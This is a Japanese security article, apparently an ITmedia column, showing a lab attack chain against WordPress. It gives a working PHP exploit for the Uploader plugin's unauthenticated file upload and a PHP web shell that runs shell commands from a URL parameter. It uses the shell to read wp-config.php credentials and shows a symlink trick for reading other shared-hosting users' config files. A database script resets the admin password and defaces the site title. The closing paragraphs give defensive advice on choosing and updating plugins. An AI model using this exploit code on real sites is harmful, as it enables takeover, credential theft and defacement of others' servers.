「パスワードは読めたけれど、アクセスできません」では、実験としてはちょっと悲しいので、次に、Uploaderというプラグインの脆弱性を突いてサイトにシェルコードをアップしてみたい。最終的には、先ほどはできなかったデータベースの書き換えを行ってゴールとする。
このプラグインは名前の通り、FTPができない環境でもファイルをアップロードできるようにするためのものだ。だが残念ながら、アップロードプログラムのURLを直接指定することで、誰でもファイルをアップロードできてしまう。しかも、プラグインを有効化していなくても悪用が可能な点に注意が必要だ。
もちろん現在では修正されているが、ファイルアップロードに関するプラグインには、このように、裏口を使って誰でもファイルをアップロードできる脆弱性が他にも多数発見されている。もし使う機会があるなら、心の片隅にこうした脆弱性の可能性を留めておいてほしい。
では早速、脆弱性を突いて単純なシェルスクリプトをアップロードしてみることにする。アップロードには以下のphpプログラムを使用する。このケースでは、攻撃側にもphpが動作する環境が必要になる。
実験環境では、通常のファイルのアップロードに使われる /wordpress/wp-content/uploads フォルダよりも上の階層にしかアップロードできなかったので、そのディレクトリを指定する。サーバによっては好きなところにアップロードできるだろう。
<?php $uploadfile="shell.php"; $ch = curl_init("http://192.168.5.46/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile", 'folder'=>"/wordpress/wp-content/uploads", 'fileext'=>'php')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>
アップロードする簡単なシェルスクリプトは以下の通り。首尾よくアップロードできれば、
http://192.168.5.46/wordpress/wp-content/uploads/shell.php?cmd=ls
のように入力することで、UNIXコマンドが実行できるだろう。スペースは使えないので代わりに+を使用する。
<?php $output = shell_exec($_GET[cmd]); echo "<pre>".htmlspecialchars($output,ENT_QUOTES)."</pre>"; ?>
続けて、シェルを使い、先ほどダウンロードしたconfig.phpをもう一度見てみることにする。phpファイルでは見えないので、txtファイルとしてコピーしてみた。
http://192.168.5.46/wordpress/wp-content/uploads/system.php?cmd=cp+../../wp-config.php%20./wp.txt http://192.168.5.46/wordpress/wp-content/uploads/system.php?cmd=more+./wp.txt
phpファイルを読むには、コピーという上記の方法以外にも、シンボリックリンクを張る方法や、.htaccessをアップロードして.phpファイルをtxtとして読む方法もある。
少し話はそれるが、シンボリックリンク攻撃についても触れておこう。先日行われたレンタルサーバでのWordPressのサイト書き換えには、シンボリックリンク攻撃が使われていたようだ。
一般に共用レンタルサーバでは、同じサーバ内に各ユーザーごとに、
/home/user1/public_html/
/home/user2/public_html/
……
のようなフォルダが割り当てられている。
もちろん、user1からuser2のフォルダへアクセスしたり、中身を見たりすることはできないようにパーミッションが設定されているのだが、シンボリックリンクを張ることが可能だ。
例えば、ユーザー1がユーザー2のWordPressの設定ファイルにシンボリックリンクを張るには
ln -s /home/user1/public_html/wp-config.php ./wp_config.txt
となる。Webシェルを使うと
http://user1/wordpress/wp-content/uploads/shell_exec.php?cmd=ln+-s+/home/user2/public_html/wordpress/wp-config.php%20./wp_config.txt
のようにして、user1からuser2のファイルにシンボリックリンクを張ることができる。txtとしてリンクを張っているので、中身も簡単に閲覧できる。
このシンボリックリンク、user1からuser2のファイルは見られないのだが、Webサーバ自体は、user1のファイルもuser2のファイルも見られる別のユーザーで動作している。なのでuser1のディレクトリに張ったリンクからuser2のファイルを見ることができてしまうのだ。
なお、シンボリックリンクをサーバが閲覧するには、Apacheの場合ならばFollowSymLinkの設定がオンになっている必要がある。この設定は、他のモジュールなどの都合でオンになっていることが多い。また.htaccessでユーザー側から設定変更ができるなら、オンにすることは簡単だ。
これだけではWP-FileManegerの場合とあまり変わらないので、先ほどはできなかったデータベースを操作したWordPressのパスワード再設定とWebサイトの書き換えを行ってみたい。
まず、下のプログラムを環境に合わせて少し書き換える。$adminにadminユーザーの名前、$pwdに新しいパスワード、$titleには新しく設定したいタイトルを設定する。ハッカーっぽいタイトルにすれば、気分だけでもスーパーハッカーだ。mysqliには先ほどwp_configに書かれていたユーザー名、パスワード、データベース名を設定する。
これを「wphack.php」といった名称でphpファイルとして保存し、脆弱性を突くプログラムを再び用いてファイルをアップロードする。アップロードに成功したら
http://192.168.5.46/wordpress/wp-content/uploads/wphack.php
のようにしてプログラムにアクセスする。すると書き換えが終了していることが明白だろう。
<?php $admin="admin"; //adminユーザー名 $pwd="pass"; //新パスワード $title ="hacked by yamamoto";//書き換えタイトル $cn=new mysqli("localhost", "wordpress", "pass", "wordpress"); if (mysqli_connect_errno()) { printf("Connect failed: %s\n", mysqli_connect_error()); exit(); } $hash = crypt($pwd); $stmt = $cn->prepare("UPDATE `wp_users` SET `user_login` =?,`user_pass` =? WHERE `ID` = 1"); $stmt->bind_param('ss',$admin,$hash); $stmt->execute(); $stmt = $cn->prepare("UPDATE `wp_options` SET `option_value` =? WHERE `option_id` = 2"); $stmt->bind_param('s',$title); $stmt->execute(); if($stmt){ echo "Password Changed"; echo $hash; } $cn->close(); ?>
このようにWordPressはユーザーが多いだけにプラグインも多数公開されており、その分、多数の脆弱性が公開されている。2013年になって公開されている脆弱性の数を見ても、他のCMSやWebツールに比べると圧倒的に多い。
特に、ファイルアップロードやサイトでphpを実行するプラグインについては、脆弱性があったときの危険度が高い。できれば入れない方がいいし、導入するならば慎重に行うべきだ。隠しているつもりでも、プラグインが置かれている場所は基本的に同じだ。もし何らかの脆弱性が見つかったときには、機械的にスキャンされ、簡単に脆弱性のありかが見つかってしまう可能性が高い。
自分が使おうとしているプラグインについては、導入前に更新履歴などを調べ、どのようなセキュリティ更新が行われているか、セキュリティに対してどのような考え方の基でメンテナンスされているのか、ざっくりとでも調べておいた方がいいだろう。
しかしだからといって、WordPress以外のオープンソースCMSや市販のCMSならば大丈夫かというと、そういうことではない。誰にも使われていないCMSの方が、多数の目に触れていないだけで実はたくさん脆弱性が残っていたり、脆弱性が見つかっても修正されなかったりするのだ。
いずれにせよ導入は慎重に、なるべくなら脆弱性への対応が活発に行われているものを選択したい。そして、入れたら入れっぱなしにせず、脆弱性情報を確認し、アップデートを欠かさず続けることが安全なサイト運営につながるだろう。
山本洋介山
猫と一緒に自宅の警備をする傍ら、「twitterセキュリティネタまとめ」というブログを日々更新しているtwitterウォッチャー。セキュリティやネットワークに関する原稿も書いてます。
Copyright © ITmedia, Inc. All Rights Reserved.